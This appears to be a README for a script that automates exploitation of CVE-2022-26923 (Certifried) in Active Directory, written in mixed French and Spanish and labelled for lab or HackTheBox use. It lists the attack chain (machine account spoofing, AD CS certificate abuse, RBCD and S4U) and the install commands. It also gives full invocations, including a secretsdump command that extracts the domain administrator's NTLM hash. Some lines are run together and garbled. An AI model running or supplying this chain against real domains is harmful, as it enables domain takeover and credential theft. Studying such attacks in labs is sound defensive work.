
Exploitation de CVE-2022-26923
Automatización de la explotación de CVE-2022-26923 (Certifried) que permite una elevación de privilegios mediante el abuso de Active Directory Certificate Services (AD CS) y Resource-Based Constrained Delegation (RBCD), lo que lleva al volcado del hash NTLM de una cuenta de administrador de dominio.
⚠️ Uso pedagógico únicamente / Lab / HTB
No utilizar en entornos no autorizados.
Este script automatiza la siguiente cadena de ataque:
dNSHostNameadministratorsecretsdump.pycertipy-adbloodyADgetST.py (Impacket)secretsdump.py (Impacket)opensslpipx install impacket
pipx install certipy-ad
pipx install bloodyad
sudo apt install openssl
chmod +x CVE-2022-26923.sh
./CVE-2022-26923.sh [options]
-d, --dc-ip IP du Domain Controller
-D, --domain Nom du domaine
-u, --user Utilisateur valide
-p, --pass Mot de passe utilisateur
-c, --comp-name Nom machine contrôlée
-C, --comp-pass Mot de passe machine
-a, --ca-name Nom du Certificate Authority
-t, --template Template certificat
-f, --pfx-file Nom fichier PFX
-H, --dc-hostname Hostname du DC
-A, --dc-account Compte DC
-i, --impersonate Compte cible à impersonner
--verbose Mode debug
-h, --help Aide
./CVE-2022-26923.sh \
-d 10.129.1.39 \
-D certifried.htb \
-u [email protected] \
-p 'Ch4ng3m3!' \
--verbose
Al final de la ejecución:
administrator.ccacheadministratorEn caso de problema de Kerberos:
KRB5CCNAME=/tmp/administrator.ccache secretsdump.py \
-just-dc-ntlm -just-dc-user administrator \
certifried.htb/[email protected] \
-k -no-pass -dc-ip 10.129.1.39
Machine Account Creation
↓
dNSHostName spoofing
↓
Certificate Request (Machine Template)
↓
Authentication via PFX
↓
RBCD abuse (bloodyAD)
↓
S4U2Self + S4U2Proxy
↓
Kerberos Ticket extraction
↓
NTLM dump via secretsdump
Este proyecto se proporciona con fines:
El autor declina toda responsabilidad en caso de uso no autorizado.
MIT